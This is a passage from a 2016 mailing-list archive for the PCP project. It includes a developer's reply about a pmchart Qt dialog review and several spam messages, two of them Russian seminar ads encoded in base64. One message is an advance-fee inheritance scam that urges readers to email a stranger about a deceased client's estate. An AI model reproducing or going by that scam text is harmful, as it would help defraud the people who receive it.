INGB0LrQu9Cw0LTRgdC60LjRhSDQsdC40LfQvdC10YEt0L/RgNC+0YbQtdGB0YHQvtCyLiDQn9GA 0LDQutGC0LjRh9C10YHQutCw0Y8g0LzQtdGC0L7QtNC40LrQsC48YnI+wqDCoMKgwqDCoCAtINCY 0LTQtdC+0LvQvtCz0LjRjyDRgdGC0LDQvdC00LDRgNGC0LAg0L7Qv9C40YHQsNC90LjRjyDQsdC4 0LfQvdC10YEt0L/RgNC+0YbQtdGB0YHQvtCyIElERUYwINCyINC/0YDQsNC60YLQuNGH0LXRgdC6 0LjRhSDQv9GA0LjQvNC10YDQsNGFLjxicj7CoMKgwqDCoMKgIC0g0JrQsNC6INGB0L7RgdGC0LDQ stC40YLRjCDRgtC10YXQvdC+0LvQvtCz0LjRh9C10YHQutGD0Y4g0LrQsNGA0YLRgyAo0KLQmiku PGJyPsKgwqDCoMKgwqAgLSDQn9GA0LDQutGC0LjQutCwINGA0LDQt9GA0LDQsdC+0YLQutC4INGB 0LrQu9Cw0LTRgdC60LjRhSDRgNC10LPQu9Cw0LzQtdC90YLQvtCyLCDRhNGD0L3QutGG0LjQvtC9 0LDQu9GM0L3Ri9GFINC40L3RgdGC0YDRg9C60YbQuNC5Ljxicj7CoMKgwqDCoMKgIC0g0J/RgNCw 0LrRgtC40YfQtdGB0LrQuNC1INC80LXRgtC+0LTQuNC60Lgg0L/QviDQvdC+0YDQvNC40YDQvtCy 0LDQvdC40Y4g0YHQutC70LDQtNGB0LrQuNGFINC+0L/QtdGA0LDRhtC40LkuPGJyPsKgwqDCoMKg wqAgLSDQnNC10YLQvtC00LjQutCwINGA0LDRgdGH0ZHRgtCwINGC0YDRg9C00L7RkdC80LrQvtGB 0YLQuCDRgdC60LvQsNC00YHQutC40YUg0L7Qv9C10YDQsNGG0LjQuS7CoDxicj7CoMKgwqDCoMKg IC0g0KDQsNC30YDQsNCx0L7RgtC60LAg0YjRgtCw0YLQvdC+0LPQviDRgNCw0YHQv9C40YHQsNC9 0LjRjyDRgdC60LvQsNC00LAg0L3QsCDQvtGB0L3QvtCy0LUg0L7QsdGK0LXQutGC0LjQstC90YvR hSDRgNCw0YHRh9GR0YLQvdGL0YUg0LTQsNC90L3Ri9GFLjxicj7CoMKgwqDCoMKgIC0g0JrQsNC0 0YDRiyDRgNC10YjQsNGO0YIg0LLRgdGRISDQn9C10YDRgdC+0L3QsNC7INGB0LrQu9Cw0LTQsCDQ uCDQtdCz0L4g0LzQvtGC0LjQstCw0YbQuNC5LiDQntCx0LfQvtGAINC/0YDQsNC60YLQuNGH0LXR gdC60LjRhSDQutGA0LjRgtC10YDQuNC10LLCoDxicj7CoMKgwqDCoMKgwqDCoMKgINC80L7RgtC4 0LLQsNGG0LjQuCDQutCw0LbQtNC+0LPQviDRgdC+0YLRgNGD0LTQvdC40LrQsCDRgdC60LvQsNC0 0LAuINCf0YDQsNC60YLQuNGH0LXRgdC60LjQtSDQv9GA0LjQvNC10YDRiyDQv9GA0LjQvNC10L3Q tdC90LjRjyDRjdGE0YTQtdC60YLQuNCy0L3QvtC5wqA8YnI+wqDCoMKgwqDCoMKgwqDCoCDQvNC+ 0YLQuNCy0LDRhtC40LguPC9mb250PjwvcD48cD48Zm9udCBmYWNlPSJDYWxpYnJpIj48Yj48Zm9u dCBjb2xvcj0iIzk5MDAzMyI+NC48L2ZvbnQ+wqDQkNCy0YLQvtC80LDRgtC40LfQsNGG0LjRjyDR gdC60LvQsNC00YHQutC40YUg0LHQuNC30L3QtdGBLdC/0YDQvtGG0LXRgdGB0L7Qsi48L2I+PGJy PsKgwqDCoMKgwqAgLSDQntGA0LPQsNC90LjQt9Cw0YbQuNGPINC00L7QutGD0LzQtdC90YLQvtC+ 0LHQvtGA0L7RgtCwINC90LAg0YHQutC70LDQtNC1IC0g0Y3Qu9C10LrRgtGA0L7QvdC90YvQuSDQ uNC70Lgg0LHRg9C80LDQttC90YvQuS7CoDxicj7CoMKgwqDCoMKgIC0g0JfQsNGH0LXQvCDQuCDQ utC+0LzRgyDQvdGD0LbQvdCwINGB0LjRgdGC0LXQvNCwINGD0L/RgNCw0LLQu9C10L3QuNGPINGB 0LrQu9Cw0LTQvtC8INC60LvQsNGB0YHQsCBXTVMuwqA8YnI+wqDCoMKgwqDCoCAtINCf0YDQvtCx 0LvQtdC80Ysg0LLRi9Cx0L7RgNCwINC4INCy0L3QtdC00YDQtdC90LjRjyBXTVMuwqA8YnI+wqDC oMKgwqDCoCAtIFdNUyDQutCw0LogJnF1b3Q70YfRkdGA0L3Ri9C5INGP0YnQuNC6JnF1b3Q7INGB 0LrQu9Cw0LTQsCDQuNC70Lgg0LjRgdGC0L7Rh9C90LjQuiDQtdCz0L4g0Y3RhNGE0LXQutGC0LjQ stC90L7RgdGC0LguwqA8YnI+wqDCoMKgwqDCoCAtINCe0LHQt9C+0YAg0L/RgNCw0LrRgtC40YfQ tdGB0LrQvtCz0L4g0L7Qv9GL0YLQsCDQsNCy0YLQvtC80LDRgtC40LfQsNGG0LjQuCDRgdC60LvQ sNC00YHQutC+0Lkg0LvQvtCz0LjRgdGC0LjQutC4LsKgPGJyPjxpPjxiPtCf0YDQsNC60YLQuNC6 0YPQvC4g0KTQuNC70YzQvCDQviDQkdCj0KXRgtCwIFdNUy48L2I+PC9pPjwvZm9udD48YnI+PGJy PsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgPGZvbnQgY29sb3I9IiM5RjgyNTUiPjx1 PsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDC oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDC oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqA8L3U+PC9mb250Pjxicj48Zm9udCBmYWNlPSJD YW1icmlhIj7CoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoDxmb250IGNvbG9yPSIjQTQ4 MjY4Ij48Yj48c3BhbiBsYW5nPSJlbi11cyI+wqDCoDwvc3Bhbj7Qo9GH0LDRgdGC0LjQtTo8L2I+ PC9mb250PsKgPGI+MjIgONC+0L4g0YDRg9CxLjwvYj48YnI+wqDCoMKgwqDCoMKgwqDCoMKgwqDC oMKgwqDCoDxiPjxmb250IGNvbG9yPSIjMDAwMENDIj48c3BhbiBsYW5nPSJlbi11cyI+wqDCoDwv c3Bhbj48L2ZvbnQ+PGZvbnQgY29sb3I9IiNBNDgyNjgiPsKgPHNwYW4gbGFuZz0iZW4tdXMiPsKg PC9zcGFuPtCh0Lo8c3BhbiBsYW5nPSJlbi11cyI+dTwvc3Bhbj7QtNC6PC9mb250PjwvYj48c3Bh biBsYW5nPSJlbi11cyI+PGZvbnQgY29sb3I9IiNBNDgyNjgiPjxiPnU8L2I+PC9mb250Pjwvc3Bh bj7CoCg8dT48Yj7QvtGCIDIg0YfQtdC70L7QstC10LogLSAxMCUsINC+0YIgMy3RhSDQuCDQsdC+ 0LvQtdC1IC0gMTUgJTwvYj48L3U+KTxicj7CoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgPHNw YW4gbGFuZz0iZW4tdXMiPsKgwqDCoMKgPC9zcGFuPtCSINGB0YLQvtC40LzQvtGB0YLRjCDQstGF 0L7QtNC40YIg0LzQtdGC0L7QtNC40YfQtdGB0LrQuNC5INC80LDRgtC10YDQuNCw0LssINC+0LHQ tdC00YssINC60L7RhNC1LdC/0LDRg9C30YsuPGJyPsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg wqA8c3BhbiBsYW5nPSJlbi11cyI+wqDCoMKgwqA8L3NwYW4+0JjQvdC+0LPQvtGA0L7QtNC90LjQ vCDRg9GH0LDRgdGC0L3QuNC60LDQvCDQv9C+0LzQvtCz0LDQtdC8INCyINCx0YDQvtC90LjRgNC+ 0LLQsNC90LjQuCDQs9C+0YHRgtC40L3QuNGG0YsuPGJyPsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDC oMKgPHNwYW4gbGFuZz0iZW4tdXMiPsKgwqA8L3NwYW4+wqA8Yj48Zm9udCBjb2xvcj0iIzk5MDAz MyI+PHNwYW4gbGFuZz0iZW4tdXMiPsKgwqA8L3NwYW4+0J/QviDQvtC60L7QvdGH0LDQvdC40Y4g 0LfQsNC90Y/RgtC40Y8g0JLQsNC8INC/0YDQtdC00L7RgdGC0LDQstC70Y/QtdGC0YHRjyDRgdC1 0YDRgtC40YTQuNC60LDRgi48L2ZvbnQ+PC9iPjwvZm9udD48YnI+wqA8L3A+PC90ZD48dGQgc3R5 bGU9ImJvcmRlci1zdHlsZTpub25lO2JvcmRlci13aWR0aDptZWRpdW0iPsKgPC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9ImJvcmRlci1zdHlsZTpub25lO2JvcmRlci13aWR0aDptZWRpdW0iPsKgPC90 ZD48dGQgc3R5bGU9ImJvcmRlci1zdHlsZTpub25lO2JvcmRlci13aWR0aDptZWRpdW0iPsKgPC90 ZD48dGQgc3R5bGU9ImJvcmRlci1zdHlsZTpub25lO2JvcmRlci13aWR0aDptZWRpdW0iPsKgPC90 ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjwv ZGl2PjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PC9kaXY+PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48L2Rpdj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjwvZGl2PjwvdGQ+PC90cj48L3Ri b2R5PjwvdGFibGU+PC9kaXY+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L3RkPjwv dHI+PC90Ym9keT48L3RhYmxlPjwvZGl2Pg0K ------------6453E0379C14EDF6C-- From brolley@redhat.com Wed Oct 12 13:38:42 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A44A17CA7 for ; Wed, 12 Oct 2016 13:38:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 48B0A304032 for ; Wed, 12 Oct 2016 11:38:42 -0700 (PDT) X-ASG-Debug-ID: 1476297520-0bf815670f493760001-S8gJnT Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id eCSmhpfNgzpEX7CX (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 12 Oct 2016 11:38:41 -0700 (PDT) X-Barracuda-Envelope-From: brolley@redhat.com X-Barracuda-Effective-Source-IP: mx1.redhat.com[209.132.183.28] X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id AE027A794 for ; Wed, 12 Oct 2016 18:38:40 +0000 (UTC) Received: from [10.10.61.150] (vpn-61-150.rdu2.redhat.com [10.10.61.150]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9CIcdgu032310; Wed, 12 Oct 2016 14:38:40 -0400 Message-ID: <57FE8429.4050005@redhat.com> Date: Wed, 12 Oct 2016 14:42:49 -0400 From: Dave Brolley User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0 MIME-Version: 1.0 To: Nathan Scott CC: PCP Mailing List Subject: Re: [pcp] PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values References: <57F68FF4.4080809@redhat.com> <274695065.854586.1475823980838.JavaMail.zimbra@redhat.com> X-ASG-Orig-Subj: Re: [pcp] PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values In-Reply-To: <274695065.854586.1475823980838.JavaMail.zimbra@redhat.com> Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.29]); Wed, 12 Oct 2016 18:38:40 +0000 (UTC) X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1476297521 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2014 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 10/07/2016 03:06 AM, Nathan Scott wrote: > Hi Dave, > > ----- Original Message ----- >> This is my first Qt creation using the qt designer tool. A review of all >> aspects is definitely warranted. >> > Nice! Getting there - handful of things I came across trying it ... Thanks for the review. > > - there's a UI interaction "surprise" when clicking on a chart, while > multiple charts active (e.g. pmchart -c CPU -c Netbytes) - it pops up > multiple dialogs at once. Should always only be one - the clicked-on > chart's metrics. Yeah -- I knew about this and thought that maybe folks would decide it was a good thing(tm). I'll see what I can do. It looks like all charts get the 'selected' signal when any one of them is selected. > - should be using a QDialog here rather than a new QMainWindow I think > (allows dialog-OK button, which we also need here) - we don't need the > menu bar, status bar, etc of a QMainWindow in a QDialog; OK -- makes sense. I'll integrate your patch for this. > - (re-)sizing of dialogs I always find tricky, and when I resize this > one, everything stays "static" - ideally the widgets would all resize > with the dialog window. Have a look at the way saveviewdialog.ui does > this, e.g. when clicking+dragging on the window-manager-window see how > everything reshapes. I did look into resizing. It turns out that QTableWidget only supports resizing of the left-most column and the bottom-most row, which looked funny to me. I can change it back to doing that and see what folks think. > Attached patch switched to using QDialog, adds an OK button, and sets > up the table headings in the .ui file ... but breaks a bunch too. And > I'm not sure how to get the resizing working correctly like we have in > saveviewdialog.ui - maybe you can see what I've missed there? (also, > in designer you can use Ctrl+r - Run - to quickly test any changes to > a new window, if you hadn't found that already). I'll have a look. Thanks. Dave From biblioteca.juan23@alicante-ayto.es Sat Oct 15 15:45:16 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 35F1B7CA0 for ; Sat, 15 Oct 2016 15:45:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0915B304043 for ; Sat, 15 Oct 2016 13:45:15 -0700 (PDT) X-ASG-Debug-ID: 1476564306-0bf57b1e945b4da0001-S8gJnT Received: from fortimail-inf.alicante.es (mail.alicante-ayto.es [194.179.69.4]) by cuda.sgi.com with ESMTP id AWRbSHxqo0TZ8BUQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 15 Oct 2016 13:45:07 -0700 (PDT) X-Barracuda-Envelope-From: biblioteca.juan23@alicante-ayto.es X-Barracuda-Effective-Source-IP: mail.alicante-ayto.es[194.179.69.4] X-Barracuda-Apparent-Source-IP: 194.179.69.4 Received: from saa-zmta01.alicante.es ([10.0.2.25]) by fortimail-inf.alicante.es with ESMTP id u9FKhR6T018372-u9FKhR6W018372; Sat, 15 Oct 2016 22:43:27 +0200 Received: from localhost (localhost.localdomain [127.0.0.1]) by saa-zmta01.alicante.es (Postfix) with ESMTP id 941202EB3; Sat, 15 Oct 2016 22:43:26 +0200 (CEST) Received: from saa-zmta01.alicante.es ([127.0.0.1]) by localhost (saa-zmta01.alicante.es [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id 2HrJhxtgFqKO; Sat, 15 Oct 2016 22:43:24 +0200 (CEST) Received: from localhost (localhost.localdomain [127.0.0.1]) by saa-zmta01.alicante.es (Postfix) with ESMTP id 9AC952F9A; Sat, 15 Oct 2016 22:33:41 +0200 (CEST) X-Virus-Scanned: amavisd-new at saa-zmta02.alicante.es Received: from saa-zmta01.alicante.es ([127.0.0.1]) by localhost (saa-zmta01.alicante.es [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id 7Bquxi5tTY5i; Sat, 15 Oct 2016 22:33:41 +0200 (CEST) Received: from saa-zstore01.alicante.es (saa-zstore01.alicante.es [10.0.2.24]) by saa-zmta01.alicante.es (Postfix) with ESMTP id 1E3452CB7; Sat, 15 Oct 2016 22:24:03 +0200 (CEST) Date: Sat, 15 Oct 2016 22:24:03 +0200 (CEST) From: Biblioteca Juan XXIII Message-ID: <1896906142.150152.1476563043092.JavaMail.zimbra@alicante-ayto.es> In-Reply-To: <589626083.149320.1476562983897.JavaMail.zimbra@alicante-ayto.es> Subject: RE: MIME-Version: 1.0 X-ASG-Orig-Subj: RE: Content-Type: multipart/alternative; boundary="----=_Part_150147_1084335397.1476563043091" X-Originating-IP: [194.179.69.25] X-Mailer: Zimbra 8.0.7_GA_6037 (ZimbraWebClient - FF42 (Win)/8.0.7_GA_6021) Thread-Topic: Thread-Index: t4I5XjHLHS6giHWZlvWLx6DaEU+dtg== X-Barracuda-Connect: mail.alicante-ayto.es[194.179.69.4] X-Barracuda-Start-Time: 1476564307 X-Barracuda-Encrypted: ECDHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2165 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.22 X-Barracuda-Spam-Status: No, SCORE=1.22 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, MISSING_HEADERS, THREAD_INDEX, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33741 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 1.21 MISSING_HEADERS Missing To: header 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; ------=_Part_150147_1084335397.1476563043091 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit We have an inheritance of a deceased client with your surname. Kindly contact Andrew John Bailey via email: (andrewbailey2005@yamdex.com)for more info No imprima este correo electrónico si no es absolutamente necesario. Piense en el medio ambiente.
Advertencia Legal: la información contenida en este correo electrónico es confidencial y se dirige exclusivamente al destinatario previsto. Si ha recibido este correo por error, por favor, notifíquelo al remitente y bórrelo sin copiarlo, grabarlo o distribuirlo.

No imprimisca este correu electrònic si no és absolutament necessari. Pense en el medi ambient.
Advertència legal: la informació continguda en este correu electrònic és confidencial i es dirigix exclusivament al destinatari previst. Si ha rebut este correu per error, per favor, notifique-ho al remitent i esborre'l sense copiar-lo, gravar-lo o distribuir-lo.
------=_Part_150147_1084335397.1476563043091 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
We have an inheritance of a deceased client with your surname. Kindly contact Andrew John Bailey via email: (andrewbailey2005@yamdex.com)for more info


No imprima este correo electrónico si no es absolutamente necesario. Piense en el medio ambiente.
Advertencia Legal: la información contenida en este correo electrónico es confidencial y se dirige exclusivamente al destinatario previsto. Si ha recibido este correo por error, por favor, notifíquelo al remitente y bórrelo sin copiarlo, grabarlo o distribuirlo.

No imprimisca este correu electrònic si no és absolutament necessari. Pense en el medi ambient.
Advertència legal: la informació continguda en este correu electrònic és confidencial i es dirigix exclusivament al destinatari previst. Si ha rebut este correu per error, per favor, notifique-ho al remitent i esborre'l sense copiar-lo, gravar-lo o distribuir-lo.


------=_Part_150147_1084335397.1476563043091-- From optaneedcamp@pisem.net Sun Oct 16 18:54:59 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,HTML_OBFUSCATE_05_10,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A94957CA0 for ; Sun, 16 Oct 2016 18:54:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7AD0B8F8037 for ; Sun, 16 Oct 2016 16:54:56 -0700 (PDT) X-ASG-Debug-ID: 1476662089-0bf57c7e20568860001-S8gJnT Received: from mx.qip.ru (91-220-97-227.ip.startechnology.pl [91.220.97.227]) by cuda.sgi.com with ESMTP id XRyO06ljVHv0tNZr for ; Sun, 16 Oct 2016 16:54:49 -0700 (PDT) X-Barracuda-Envelope-From: optaneedcamp@pisem.net X-Barracuda-Effective-Source-IP: 91-220-97-227.ip.startechnology.pl[91.220.97.227] X-Barracuda-Apparent-Source-IP: 91.220.97.227 From: "=?utf-8?B?0JfQsNGJ0LjRgtCwINC/0YDQsNCyINGA0LDQsdC+0YLQvtC00LDRgtC10LvRjyA=?=" To: Subject: =?utf-8?B?0JrQsNC6INGD0LLQvtC70LjRgtGMINGB0L7RgtGA0YPQtNC90LjQutCwLCDQtdGB0LvQuCDQvtC9INGN0YLQvtCz0L4g0L3QtSDRhdC+0YfQtdGC?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?utf-8?B?0JrQsNC6INGD0LLQvtC70LjRgtGMINGB0L7RgtGA0YPQtNC90LjQutCwLCDQtdGB0LvQuCDQvtC9INGN0YLQvtCz0L4g0L3QtSDRhdC+0YfQtdGC?= Message-ID: X-Mailer: Yamail [ http://yandex.ru ] 5.0 Date: Mon, 17 Oct 2016 02:54:51 +0300 Content-Transfer-Encoding: base64 Content-Type: text/html; charset=utf-8 X-Barracuda-Connect: 91-220-97-227.ip.startechnology.pl[91.220.97.227] X-Barracuda-Start-Time: 1476662089 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 11950 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.23 X-Barracuda-Spam-Status: No, SCORE=2.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, HTML_OBFUSCATE_05_10, HTML_OBFUSCATE_05_10_2, MIME_HTML_ONLY, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33773 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_OBFUSCATE_05_10 BODY: Message is 5% to 10% HTML obfuscation 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.57 HTML_OBFUSCATE_05_10_2 Message is 05% to 10% HTML obfuscation 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 PGRpdj48dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjRkJGQUY3IiBjZWxsc3BhY2luZz0iMCIg Y2VsbHBhZGRpbmc9IjAiIHdpZHRoPSI3MTkiIHN0eWxlPSJmb250LWZhbWlseTomcXVvdDtUaW1l cyBOZXcgUm9tYW4mcXVvdDs7dGV4dC10cmFuc2Zvcm06bm9uZTtib3JkZXItd2lkdGg6NXB4OyI+ PHRib2R5Pjx0cj48dGQgYmdjb2xvcj0iI0Q4Q0VCMSIgc3R5bGU9ImJvcmRlci1zdHlsZTpub25l O2JvcmRlci13aWR0aDptZWRpdW07Ij7CoDwvdGQ+PHRkIGJnY29sb3I9IiNEOENFQjEiIHN0eWxl PSJib3JkZXItc3R5bGU6bm9uZTtib3JkZXItd2lkdGg6bWVkaXVtOyI+wqA8L3RkPjx0ZCBiZ2Nv bG9yPSIjRDhDRUIxIiBzdHlsZT0iYm9yZGVyLXN0eWxlOm5vbmU7Ym9yZGVyLXdpZHRoOm1lZGl1 bTsiPsKgPC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj0iI0Q4Q0VCMSIgc3R5bGU9ImJvcmRlci1z dHlsZTpub25lO2JvcmRlci13aWR0aDptZWRpdW07Ij7CoDwvdGQ+PHRkIGJnY29sb3I9IiNGOEY3 RjEiIHN0eWxlPSJib3JkZXItc3R5bGU6bm9uZTtib3JkZXItd2lkdGg6bWVkaXVtOyI+PHRhYmxl IGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIHN0eWxlPSJib3JkZXItd2lkdGg6MHB4OyI+PHRib2R5 Pjx0cj48dGQgYmdjb2xvcj0iI0YzRjJFOSIgc3R5bGU9ImJvcmRlci1zdHlsZTpub25lO2JvcmRl ci13aWR0aDptZWRpdW07Ij48cCBhbGlnbj0iY2VudGVyIj48YnIgLz48c3Ryb25nPjxmb250IGNv bG9yPSIjQ0MzMzAwIj48Zm9udCBzaXplPSI0IiBmYWNlPSJDYW1icmlhIj48c3BhbiBsYW5nPSJl bi11cyI+MjA8L3NwYW4+PHNwYW4+wqA8L3NwYW4+LTxzcGFuPsKgPC9zcGFuPjxzcGFuIGxhbmc9 ImVuLXVzIj4yMTwvc3Bhbj48c3Bhbj7CoDwvc3Bhbj7QvtC60YLRj9Cx0YDRjzxiciAvPtCzLiDQ nNC+0YHQutCy0LA8L2ZvbnQ+PC9mb250PjxiciAvPjxiciAvPjxmb250IGZhY2U9IkNhbGlicmki Pjxmb250IGNvbG9yPSIjMzMzM0NDIiBzaXplPSI1Ij7QkdCV0JfQntCf0JDQodCd0J7QlSDQo9CS 0J7Qm9Cs0J3QldCd0JjQlSDQn9CV0KDQodCe0J3QkNCb0JA8L2ZvbnQ+PGJyIC8+PGJyIC8+0J/R gNC+0LzQvtC60L7QtDxzcGFuIGxhbmc9ImVuLXVzIj46PHNwYW4+wqA8L3NwYW4+PC9zcGFuPjwv Zm9udD48L3N0cm9uZz48Zm9udCBmYWNlPSJDYWxpYnJpIj48dT48c3BhbiBsYW5nPSJlbi11cyI+ NTYyPC9zcGFuPjwvdT48YnIgLz48YnIgLz48c3Ryb25nPtCS0YDQtdC80Y88L3N0cm9uZz48c3Bh biBsYW5nPSJlbi11cyI+PHN0cm9uZz46PC9zdHJvbmc+PHNwYW4+wqA8L3NwYW4+PC9zcGFuPmMg MTA6MDAg0LTQviAxNzozMDxiciAvPsKgPHNwYW4+wqA8L3NwYW4+PGJyIC8+PHN0cm9uZz7QkNC0 0YDQtdGBOjwvc3Ryb25nPjxzcGFuPsKgPC9zcGFuPtGD0LsuINCR0LDRg9C80LDQvdGB0LrQsNGP LCDQtC42LCDQsdC40LfQvdC10YEg0YbQtdC90YLRgCAi0JLQuNC60YLQvtGA0LjRjyDQn9C70LDQ t9CwIi48YnIgLz48YnIgLz48Zm9udCBjb2xvcj0iIzgwMDA4MCI+0J/QvtC00YDQvtCx0L3QsNGP INC40L3RhNC+0YDQvNCw0YbQuNGPINC4INGA0LXQs9C40YHRgtGA0LDRhtC40Y8g0L3QsCDQt9Cw 0L3Rj9GC0LjQtSDQv9C+INGC0LXQuy46PC9mb250PjxiciAvPjxmb250IHNpemU9IjQiPjg8L2Zv bnQ+PHNwYW4+wqA8L3NwYW4+PGZvbnQgc2l6ZT0iMiI+0LrQvtC0INCz0L7RgNC+0LTQsCDQnNC+ 0YHQutCy0Ys8L2ZvbnQ+PGZvbnQgc2l6ZT0iNCI+PHNwYW4+wqA8L3NwYW4+KDQ5NSk8c3Bhbj7C oDwvc3Bhbj48L2ZvbnQ+PGZvbnQgc2l6ZT0iMiI+0YLQtdC70LXRhNC+0L06PC9mb250PjxzcGFu PsKgPC9zcGFuPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBzaXplPSI0Ij40MTEtOTAtOTg8L2Zv bnQ+PC9zcGFuPjxzcGFuPsKgPC9zcGFuPjxmb250IHNpemU9IjIiPijQvNC90L7Qs9C+0LrQsNC9 